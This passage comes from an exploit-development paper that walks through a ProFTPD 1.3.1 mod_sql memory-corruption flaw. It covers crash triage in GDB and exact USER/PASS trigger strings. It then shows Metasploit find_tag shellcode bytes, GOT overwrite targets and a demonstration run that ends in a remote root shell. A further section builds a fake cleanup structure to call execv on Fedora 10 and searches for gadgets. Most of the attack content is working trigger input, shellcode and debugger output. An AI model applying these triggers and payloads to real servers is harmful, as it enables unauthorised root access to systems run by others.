_dispatch EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.98014.0 EAX: 0x33614132 EBX: 0x00009bd9 ECX: 0x00000002 EDX: 0x0882ea84 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a368 ESP: 0xbfd0a350 EIP: 0x080544e0 EAX contains a corrupted value. Looking at it further: This GDB was configured as "i486-linux-gnu"... (gdb) l *0x080544e0 0x80544e0 is in free_blocks (pool.c:138). 133 134 block_freelist = blok; 135 136 /* Adjust first_avail pointers */ 137 138 while (blok->h.next) { 139 chk_on_blk_list(blok, old_free_list); 140 blok->h.first_avail = (char *) (blok + 1); 141 blok = blok->h.next; 142 } This is semi-interesting, as we can overwrite something to point to the end of the block (the start of the allocated usable memory). However, the blok = blok->h.next loop makes things a lot more trickier than we'd like (finding a suitable pointer that terminates the loop without crashing, etc.) Moving on... ------[ 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace ] # cat bt_frames.1575.0 EIP: 0x080544e0, EBP: 0xbfd0a338, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.1575.0 EAX: 0x33614132 EBX: 0x0882d29c ECX: 0x00000002 EDX: 0x088398a4 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a338 ESP: 0xbfd0a320 EIP: 0x080544e0 This is a duplicate of the previous one.. ------[ 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace ] # cat bt_frames.1081.0 EIP: 0x080544e0, EBP: 0xbfd0a318, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a328, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a338, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.1081.0 EAX: 0x33614132 EBX: 0x0882d29c ECX: 0x00000002 EDX: 0x08839484 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a318 ESP: 0xbfd0a300 EIP: 0x080544e0 Another duplicate :( ------[ 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace ] # cat bt_frames.11512.0 EIP: 0xb7b7e67a, EBP: 0xbfd0a118, memset EIP: 0x080c2520, EBP: 0xbfd0a148, _sql_make_cmd EIP: 0x080c4344, EBP: 0xbfd0a1f8, _sql_getpasswd EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups EIP: 0x080718a6, EBP: 0xbfd0a328, call_module EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.11512.0 EAX: 0x00000000 EBX: 0x0882da74 ECX: 0x00000024 EDX: 0x00000001 ESI: 0x080d4960 EDI: 0x41346141 EBP: 0xbfd0a118 ESP: 0xbfd0a0e8 EIP: 0xb7b7e67a EDI is a pointer we control. Looking at it further: (gdb) l *0x080c2520 0x80c2520 is in _sql_make_cmd (mod_sql.c:350). 345 register unsigned int i = 0; 346 pool *newpool = NULL; 347 cmd_rec *cmd = NULL; 348 va_list args; 349 350 newpool = make_sub_pool(p); 351 cmd = pcalloc(newpool, sizeof(cmd_rec)); 352 cmd->argc = argc; 353 cmd->stash_index = -1; 354 cmd->pool = newpool; (gdb) 355 356 cmd->argv = pcalloc(newpool, sizeof(void *) * (argc + 1)); 357 cmd->tmp_pool = newpool; 358 cmd->server = main_server; 359 360 va_start(args, argc); 361 362 for (i = 0; i < argc; i++) 363 cmd->argv[i] = (void *) va_arg(args, char *); 364 (gdb) 365 va_end(args); 366 367 cmd->argv[argc] = NULL; 368 369 return cmd; 370 } 371 372 static int check_response(modret_t *mr) { 373 if (!MODRET_ISERROR(mr)) 374 return 0; Interesting, it's in the make_sub_pool() code. Looking at it further: --- 310 struct pool *make_sub_pool(struct pool *p) { 311 union block_hdr *blok; 312 pool *new_pool; 313 314 pr_alarms_block(); 315 316 blok = new_block(0, FALSE); 317 318 new_pool = (pool *) blok->h.first_avail; 319 blok->h.first_avail += POOL_HDR_BYTES; 320 321 memset(new_pool, 0, sizeof(struct pool)); 322 new_pool->free_first_avail = blok->h.first_avail; 323 new_pool->first = new_pool->last = blok; 324 325 if (p) { 326 new_pool->parent = p; 327 new_pool->sub_next = p->sub_pools; 328 329 if (new_pool->sub_next) 330 new_pool->sub_next->sub_prev = new_pool; 331 332 p->sub_pools = new_pool; 333 } 334 335 pr_alarms_unblock(); 336 337 return new_pool; 338 } --- So, if we got it returning an arbitrary pointer, allocations from this pool (if within the default pool size) will overwrite memory we control.. let's see what could be (include/dirtree.h): --- 96 typedef struct cmd_struc { 97 pool *pool; 98 server_rec *server; 99 config_rec *config; 100 pool *tmp_pool; /* Temporary pool which only exists 101 * while the cmd's handler is running 102 */ 103 int argc; 104 105 char *arg; /* entire argument (excluding command) */ 106 char **argv; 107 char *group; /* Command grouping */ 108 109 int class; /* The command class */ 110 int stash_index; /* hack to speed up symbol hashing in modules.c */ 111 pr_table_t *notes; /* Private data for passing/retaining between handlers */ 112 } cmd_rec; --- Hmm, so we could overwrite pointers with somewhat controllable contents (don't forget the SELECT .. FROM .. WHERE type stuff interfering..) ------[ 3.3.9 - Summary ] Out of the backtraces it has generated, the following look most useful (in usefulness looking order :p): - 11380f2c8ce44d29b93b9bc6308692ae - f1bfd5428c97b9d68a4beb6fb8286b70 - 914b175392625fe75c2b16dc18bfb250 Considering the code path taken, the first is the most easily exploitable. Unfortunately, we haven't got a clean EIP overwrite, and instead require returning a suitable pointer that will trash stuff near by it... depending on exploitation avenue, this may make things rather complicated. --[ 3.4 - Exploitation avenues ] So far, we've found an approach that allows us to return a pointer to be used later on where data we control is used in conjunction with other data. What can we do with that? There's a couple of possibilities: - Work out how to indicate authentication has succeeded - Should leave us with the ftpd with nobody (revertable to root) privileges, and access to /. That'd be pretty neat ;D - If we munge the heap too much, however, it may crash. Depending on what's being overwritten etc, it may be unavoidable. - Run our own shellcode - We can revert to root with a setresuid() call. - More anti-forensically acceptable / less effort / etc :p ------[ 3.4.1 - Shellcode approach ] By returning a pointer that leads us to overwrite a function pointer with our contents, we can run shellcode. All that's required is a single address. Let's say for arguments say, we use USER ...SHELLCODE%m%a.. We would overwrite the function pointer with a pointer to shellcode (our original pointer - X bytes to hit it). If we need to brute force a target pointer to overwrite, we can probably repeat several times to cover more memory than normal. Due to space considerations, it would be best to use a find sock / recv() tag shellcode as a stager, then sending a another payload later on. If shellcode size is a problem, it would be possible to spray our shellcode across the heap in the fake auth attempt, and use an egg hunter code in the trigger auth attempt. Ideally we would have a register or stack contents to give us an idea of where to start in case of ASLR. There are perhaps some other techniques that may be possible on certain configurations, such as inputting the shellcode via reverse DNS, or in the ident lookup text. While possible, it's not entirely needed at this point in time and wasn't explored further. Talking about shellcode, we should look at what character restrictions have. Obviously, \x0d, \x0a, \x00 would be problematic since FTP is a text line based protocol. Reading further over the contrib/mod_sql_mysql.c code, we see that we have several other restrictions, as documented in [8], which gives us the following bad characters: \x0d (\r), \x0a (\n), \x00, \x27 ('), \x22 ("), \x08 (\b), \x09 (\t) \x1b (\Z), \x5c (\\), \x5f (_), \x25 (%) (That is, assuming we are exploiting ProFTPD getting auth information from MySQL. If it's getting information from Postgresql, then the bad character restrictions are probably different). All in all, those restrictions aren't too bad, and some light experimentation implies it should be fine to use, as the following pastes show: --- msf payload(shell_find_tag) > generate -b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true /* * linux/x86/shell_find_tag - 102 bytes * http://www.metasploit.com * Encoder: x86/fnstenv_mov * AppendExit=false, PrependSetresuid=true, TAG=2pDv, * PrependSetuid=false, PrependSetreuid=false */ unsigned char buf[] = "\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12\x87" "\xe9\xb7\x83\xeb\xfc\xe2\xf4\x23\x4e\xd8\x6c\xe5\x64\x59\x13" "\xdf\x07\xd8\x6c\x41\x0e\x0f\xdd\x52\x30\xe3\xe4\x44\xd4\x60" "\x56\x94\x7c\x8f\x48\x13\xed\x8f\xef\xdf\x07\x68\x89\x20\xf7" "\xad\xc1\x67\x77\xb6\x3e\xe9\xed\xeb\xee\x78\xb8\xb1\x7a\x92" "\xce\x90\x4f\x78\x8c\xb1\x2e\x40\xef\xc6\x98\x61\xef\x81\x98" "\x70\xee\x87\x3e\xf1\xd5\xba\x3e\xf3\x4a\x69\xb7"; ... msf payload(find_tag) > use payload/linux/x86/shell/find_tag msf payload(find_tag) > generate -b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true /* * linux/x86/shell/find_tag - 74 bytes (stage 1) * http://www.metasploit.com * Encoder: x86/shikata_ga_nai * AppendExit=false, PrependSetresuid=true, TAG=qvkV, * PrependSetuid=false, PrependSetreuid=false */ unsigned char buf[] = "\x31\xc9\xbf\xd3\xde\x9e\x99\xdb\xc9\xd9\x74\x24\xf4\x5b\xb1" "\x0c\x83\xc3\x04\x31\x7b\x0f\x03\x7b\x0f\xe2\x26\xef\x57\xa8" "\x13\xe7\x8b\x7b\x07\xc5\xcc\x4d\x9c\x85\x45\x4b\x48\x6a\xe1" "\x9e\xdf\x3c\x5e\x16\x3e\x46\x9b\x4e\x3f\x46\x36\xe9\xe7\x84" "\x46\x74\x29\x66\x31\x1c\x03\xfd\x4d\xbd\x57\x50\x52\xa4"; /* * linux/x86/shell/find_tag - 36 bytes (stage 2) * http://www.metasploit.com */ unsigned char buf[] = "\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b" "\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xcd\x80"; --- We can note down that we require 74 bytes or so for the shellcode. If character encoding is enabled in ProFTPD (via mod_lang), this may incur further restrictions in characters we can use, or alternatively require decoding our payload, so that when it's encoded, it is correct. If possible/suitable, that is :p If the pointers we are after contain a bad character, we're in a little bit of trouble :| ------[ 3.4.2 - Data manipulation ] There are plenty of global variables that can be modified in ProFTPD, that can/may be useful for data manipulation. grep'ing the src/ directory for "authenticated" shows some interesting code: --- 288 static void shutdown_exit(void *d1, void *d2, void *d3, void *d4) { 289 if (check_shutmsg(&shut, &deny, &disc, shutmsg, sizeof(shutmsg)) == 1) { 290 char *user; 291 time_t now; 292 char *msg; 293 const char *serveraddress; 294 config_rec *c = NULL; 295 unsigned char *authenticated = get_param_ptr(main_server->conf, 296 "authenticated", FALSE); 297 ... 388 if (c->requires_auth && cmd_auth_chk && !cmd_auth_chk(cmd)) 389 return -1; 390 ... (cmd_auth_chk being a .bss function pointer) 393 cmdargstr = make_arg_str(cmd->tmp_pool, cmd->argc, cmd->argv); 394 395 if (cmd_type == CMD) { 396 397 /* The client has successfully authenticated... */ 398 if (session.user) { 399 char *args = strchr(cmdargstr, ' '); 400 401 pr_scoreboard_entry_update(session.pid, 402 PR_SCORE_CMD, "%s", cmd->argv[0], NULL, NULL); 403 pr_scoreboard_entry_update(session.pid, 404 PR_SCORE_CMD_ARG, "%s", args ? 405 pr_fs_decode_path(cmd->tmp_pool, (args+1)) : "", NULL, NULL); 406 407 pr_proctitle_set("%s - %s: %s", session.user, session.proc_prefix, 408 cmdargstr); 409 410 /* ...else the client has not yet authenticated */ 411 } else { 412 pr_proctitle_set("%s:%d: %s", session.c->remote_addr ? 413 pr_netaddr_get_ipstr(session.c->remote_addr) : "?", 414 session.c->remote_port ? session.c->remote_port : 0, cmdargstr); 415 } 416 } --- in modules/mod_auth.c: --- 59 /* auth_cmd_chk_cb() is hooked into the main server's auth_hook function, 60 * so that we can deny all commands until authentication is complete. 61 */ 62 static int auth_cmd_chk_cb(cmd_rec *cmd) { 63 unsigned char *authenticated = get_param_ptr(cmd->server->conf, 64 "authenticated", FALSE); 65 66 if (!authenticated || *authenticated == FALSE) { 67 pr_response_send(R_530, _("Please login with USER and PASS")); 68 return FALSE; 69 } 70 71 return TRUE; 72 } 73 --- The authenticated configuration directive is set: --- 1846 c = add_config_param_set(&cmd->server->conf, "authenticated", 1, NULL); 1847 c->argv[0] = pcalloc(c->pool, sizeof(unsigned char)); 1848 *((unsigned char *) c->argv[0]) = TRUE; --- It seems a little complicated to call due to other code around it.. but it'd probably be possible to with a bit of effort and the stack wasn't randomized, or maybe some other approaches. That said, the author isn't going to spend much time looking at it. One last thought on the matter: --- 192 /* By default, enable auth checking */ 193 set_auth_check(auth_cmd_chk_cb); --- If authentication is bypassed, but setresuid() is not callable (via NX, or whatever), then there is a slight restriction of the user id it has by default: # cat /proc/19840/status Name: proftpd State: T (tracing stop) Tgid: 19840 Pid: 19840 PPid: 19830 TracerPid: 19846 Uid: 0 65534 0 65534 Gid: 65534 65534 65534 65534 FDSize: 32 Groups: 65534 ... CapInh: 0000000000000000 CapPrm: ffffffffffffffff CapEff: 0000000000000000 CapBnd: ffffffffffffffff UID/GID list in real, effective, saved, fsuid format. Without reverting privileges, it limits what we can do. That said, it allows for a lot of information leaking if the directory permissions aren't too strict / acl's aren't too strict. --[ 4 - Writing an exploit ] Before writing an exploit, we should quickly review what we have found out before: - Variable substitution allows us expand past the allocated 4096 bytes - %m/%r duplicates our input - %a gives us our IP address - %f gives us - - %T gives us 0.0 - %Z gives us {UNKNOWN TAG} - %l gives us UNKNOWN if ident checking is disabled (default).. we'll use it even though it's not ideal (ident could be enabled, and if the box where the exploit is ran from is running ident, it could affect the ProFTPD heap layout more. %a isn't all that good for a remote exploit, as the byte count can differ (attacking from 1.2.3.4 vs 136.246.139.246. We'll try excluding that for now, although it's useful for consuming small chunks :| In order to exploit this vulnerability, we can re-use some of our existing code to find the input strings needed against new targets when we can replicate a target environment. ------[ 4.1 - Exploitation via arbitrary pointer return ] So, let's see, what do we need to do? - Find a suitable trigger string that allows us, say: - 16 byte overwrite (since our offset is 12 for first_avail pointer) - 74 bytes of shellcode. Should be plenty of space, and enough to do interesting things with. - Find a suitable target. For the most part, the GOT seems a good target, though this may be reassessed later on. - Ideally you'd want to use a libc function that will be used next. Due to the style of attack we're using, if it uses another libc function, we may overwrite it with crap (crap being stuff like table entries / names / our expanded string) :( After some experimentation, I came up with the following input strings to trigger the vulnerability with a suitable call tree: - USER %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m%mA%m%f%f%l%m%TA%m% m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%Z%l%m%fA%l%m%TA%ZA% f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z - PASS invalid - USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA% m%T%m%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3Aa4A And we have a crash writing to 0x41346141 ;) With that info in hand, we can start writing the exploit.. let's find a target to overwrite.. From glancing over the back traces, it looks like mysql_real_query() is a suitable target. 080e81a8 R_386_JUMP_SLOT mysql_real_query Plugging that in, and we get: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 12830)] 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () #1 0x080c0ea1 in cmd_select (cmd=0x98ae7ec) at mod_sql_mysql.c:838 Well, that's good. Not entirely what I was expecting though. Looking at the backtrace, we see it's calling time(NULL), so let's see: 080e8218 R_386_JUMP_SLOT time 4187 int sql_log(int level, const char *fmt, ...) { 4188 char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'}; 4189 time_t timestamp = time(NULL); 4190 struct tm *t = NULL; 4191 va_list msg; So, it looks like time is a better target. Updating our exploit: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 12923)] 0x72657375 in ?? () (gdb) That looks better (>>> "72657375".decode('hex') -> 'resu') (gdb) x/s 0x080e8218 0x80e8218 <_GLOBAL_OFFSET_TABLE_+548>: "userid, passwd, uid, gid, homedir, shell FROM ftpuser WHERE (userid='", 'A' , "0.0-0.0A{UNKNOWN TAG}", 'A' ... Looking further (gdb) call strlen(0x080e8218) $1 = 4155 (gdb) x/s 0x080e8218+4155-128 0x80e91d3 : "%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m%m%Z%T% m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3\030\202\016" (gdb) x/40x 0x080e8218+4155-64 0x80e9213 <[...]_file+3027>: 0x256d2554 0x255a256d 0x256d2554 0x416c255a 0x80e9223 <[...]_file+3043>: 0x6c255425 0x54256c25 0x5a256625 0x66256d25 0x80e9233 <[...]_file+3059>: 0x54256625 0x5a256625 0x6d256c25 0x25415425 0x80e9243 <[...]_file+3075>: 0x3061416d 0x41316141 0x61413261 0x0e821833 Playing around further, we see that strlen() is called before that, so further experimentation reveals we want to overwrite: 080e819c R_386_JUMP_SLOT strlen (Code for this can be found in [9]) And our offset is 0x080e819c-358.. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 13357)] 0x41306141 in ?? () So, we've made it jump to another pattern in msf.. which we can replace with a pointer to our shellcode.. which will be: (gdb) x/s 0x080e819c 0x80e819c <_GLOBAL_OFFSET_TABLE_+424>: "Aa0Aa1Aa2Aa36\200\016\b{UNKNOWN TAG}", 'A' , "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f"... (gdb) x/s 0x080e819c+29 0x80e81b9 <_GLOBAL_OFFSET_TABLE_+453>: 'A' , "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1"... To hit our A's. We can now use a suitable stager findsock/execve shell... We'll use the one we found earlier with metasploit. Verifying that we can hit our shellcode, we see: Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 0xb7c7a6b0 (LWP 13476)] 0x080e81ba in _GLOBAL_OFFSET_TABLE_ () So, now we get to validate the shellcode works as expected (code can be found in [10]) Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7b666b0 (LWP 13648)] 0xbf86cad0 in ?? () (gdb) x/10i $eip 0xbf86cad0: mov %edi,%ebx 0xbf86cad2: push $0x2 0xbf86cad4: pop %ecx 0xbf86cad5: push $0x3f 0xbf86cad7: pop %eax 0xbf86cad8: int $0x80 0xbf86cada: dec %ecx 0xbf86cadb: jns 0xbf86cad5 0xbf86cadd: push $0xb 0xbf86cadf: pop %eax Whoops. Not so much. The stager code works by reading from the socket to the stack, and jumping to the stack once complete. It seems that the kernel I'm using doesn't make the stack executable even if you setarch/personality it. We could work around that short coming in metasploit by changing our shellcode to read() into a different buffer, or mmap() some suitable memory, or one of a hundred things. For now though, I'll cheat and install the generic kernel, and try to finish off this paper :) Installing the ubuntu -generic kernel, we see (in gdb): --- [New process 4936] Executing new program: /bin/dash (no debugging symbols found) warning: Cannot initialize thread debugging library: generic error warning: Cannot initialize thread debugging library: generic error (no debugging symbols found) [New process 4936] (no debugging symbols found) --- # python exploitsc.py 127.0.0.1 Banner is [220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1]] 331 Password required for %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m %mA%m%f%f%l%m%TA%m%m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA% Z%l%m%fA%l%m%TA%ZA%f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z 530 Login incorrect. *** With luck, you should have a shell *** id uid=0(root) gid=65534(nogroup) groups=65534(nogroup) uname -a Linux ubuntu 2.6.27-14-generic #1 SMP Tue Aug 18 16:25:45 UTC 2009 i686 GNU/Linux --- Well, that demonstrates from source code to shellcode execution.. exploitation via the demonstrated avenue isn't ideal, but still pretty decent. ------[ 4.1 - Cleanup structure crash ] While experimenting with the auth bypass idea with one of the 3d10e2a054d8124ab4de5b588c592830 crashes, I hit a pool cleanup structure, and decided to experiment further (with a overwrite of 44 bytes), and exploit it without any shellcode required. For this section, we'll target Fedora 10, and the following packages: fbf3dccc1a396cda2d8725b4503bfc16 proftpd-1.3.1-6.fc10.i386.rpm 938fd1a965d72ef44cd4106c750a0a2d proftpd-mysql-1.3.1-6.fc10.i386.rpm Firstly, we'll quickly review some of the protection measures enabled/available in Fedora 10. - Exec-shield - Aims to prevent code execution via Code Selector limits, or via PAE. - CS limits are not ideal. - FORTIFY_SOURCE - Instruments code during compiling and aims to prevent overflows via common library functions. - PIE binaries - Some binaries available in Fedora 10 are compiled as a position independant executable (PIE). - Numerous binaries are compiled as ET_EXEC's, however, including ProFTPD. - SELinux - SELinux is a kernel feature that allows mandatory access control in the kernel. For what we're concerned about, it's aimed at restricting what can happen post exploitation. A frequent criticism of SELinux is that it does not protect the kernel against attack. So, looking at the crash: Program received signal SIGSEGV, Segmentation fault. destroy_pool (p=0x8731eac) at pool.c:415 415 if (p->parent->sub_pools == p) (gdb) p *p $1 = {first = 0x61413561, last = 0x37614136, cleanups = 0x41386141, sub_pools = 0x62413961, sub_next = 0x31624130, sub_prev = 0x0, parent = 0x62413362, free_first_avail = 0x8002927
, tag = 0x0} Quick glance at the source code (from the proftpd-1.3.2-rc2 release, not the fedora release): --- 410 void destroy_pool(pool *p) { 411 if (p == NULL) 412 return; 413 414 pr_alarms_block(); 415 416 if (p->parent) { 417 if (p->parent->sub_pools == p) 418 p->parent->sub_pools = p->sub_next; 419 420 if (p->sub_prev) 421 p->sub_prev->sub_next = p->sub_next; 422 423 if (p->sub_next) 424 p->sub_next->sub_prev = p->sub_prev; 425 } 426 clear_pool(p); 427 free_blocks(p->first, p->tag); 428 429 pr_alarms_unblock(); 430 } --- So, we can see that we overwrote p->parent, and thus entered the conditional on line 416. In order to effectively bypass that section, we need: - p->parent to point to accessible memory (doesn't matter where, it's unlikely to point to p) - p->sub_prev got nulled out earlier, so it doesn't matter. - p->sub_next to point to writable memory. - p->cleanups to point to some memory to be the cleanup structure. The cleanup structure looks like: --- 655 typedef struct cleanup { 656 void *data; 657 void (*plain_cleanup_cb)(void *); 658 void (*child_cleanup_cb)(void *); 659 struct cleanup *next; 660 } cleanup_t; --- --- 693 static void run_cleanups(cleanup_t *c) { 694 while (c) { 695 (*c->plain_cleanup_cb)(c->data); 696 c = c->next; 697 } 698 } --- The benefits of run_cleanups is that we could call a bunch of different pointers as needed. So, all we need now is to meet our requirements earlier.. For reading/writing memory, the BSS is fine. For the cleanup structure, we need something that is not randomized, and that we know the offset for. Luckily for us, ProFTPD formats its response into the resp_buf buffer, which is on the BSS. (gdb) p resp_buf $5 = "Login incorrect.\000 for %m%m%TA%ZA%f%l%fA%mAA%f%TA%f%f%l%l%m%lA%f%Z%m%m%TA%Z%ZA%T%Z%ZAAA%m%m%f%m%T% m%f%fA%T%T%Z%l%T%m%l%f%f%f%Z%Z%l%TA%l%l%f%mAA%Z%TAA%f%m%ZAA%l%Z%Z%m%Z%lA%f% m"... And, it doesn't clear memory, leaving old data available for us to use as our structure location. Our first fake auth will have a bunch of AAAA / BBBB / CCCC we can use for replacing. With those in mind, we can trigger the vulnerability, and see what's available to us: Program received signal SIGSEGV, Segmentation fault. 0x0805c82d in run_cleanups (c=0x80ed933) at pool.c:730 730 (*c->plain_cleanup_cb)(c->data); .. (gdb) x/10i $eip 0x805c82d : call *0x4(%ebx) (gdb) x/4x $ebx 0x80ed933 : 0x42424242 0x43434343 0x44444444 0x45454545 Hm, so we need a location in memory to jump to. We control the first argument to the function, which is useful. . Looking at the symbol table, we see some stuff of interest: 080e44f4 R_386_JUMP_SLOT __printf_chk 080e4574 R_386_JUMP_SLOT mempcpy 080e4578 R_386_JUMP_SLOT __memcpy_chk 080e4604 R_386_JUMP_SLOT dlsym 080e46a4 R_386_JUMP_SLOT execv 080e469c R_386_JUMP_SLOT memcpy 080e48d4 R_386_JUMP_SLOT mmap64 080e4800 R_386_JUMP_SLOT strcat dlsym() might be useful if we can get the results and save it somewhere. memcpy()/strcat()/memcpy()/etc could be useful for constructing a ret to libc style attack. printf() could be used to leak memory contents. Can't use it for writing to memory due to FORTIFY_SOURCE. mmap64() could be useful to map memory readable, writable and executable (assuming SELinux allows it, which is unlikely in recent releases). execv() could be used to execute an arbitrary process (assuming not prevented by SELinux). execv() takes two parameters, program to execute, and argument list. The argument list must consist of valid pointers to readable memory, or the execve() (syscall) will fail. Since execv() looks like least effort, we'll need to find a way to modify the stack so that the next argument is a pointer to something suitable (a pointer to NULL would be sufficient) (gdb) x/4x $esp 0xbf977c60: 0x42424242 0x080ccbe2 0x080e8a40 0x08730578 (gdb) x/s 0x080ccbe2 0x80ccbe2: "getgroups" Taking stock of what we have: eax 0x42424242 1111638594 ecx 0x8734e10 141774352 edx 0x80eb040 135180352 ebx 0x80ed933 135190835 esp 0xbf977c60 0xbf977c60 ebp 0xbf977c78 0xbf977c78 esi 0x8731eac 141762220 edi 0x80f680c 135227404 We control eax, edx (edx is the fake pointer for sub_prev/sub_next stuff), we control ebx to an extent: (gdb) x/7x $ebx 0x80ed933 : 0x42424242 0x43434343 0x44444444 0x45454545 0x80ed943 : 0x46464646 0x47474747 0x48484848 We control esi to an extent: (gdb) x/s $esi 0x8731eac: "a5Aa6Aa73\331016\ba9Ab@\260\016\b" So, with that in mind, we are looking for writes to stack at [esp], [esp+4], [esp+8] and [esp+0xc], and hopefully then a jump register. We can assemble a bunch of instructions, and use msfelfscan to show potential hits: ruby msfelfscan -r "\x89[\x44\x54]\x24[\x04\x08\x0c][^\xff\xe8]*\xff[\x53\x10\x50\xd0-\xe0]" /usr/sbin/proftpd 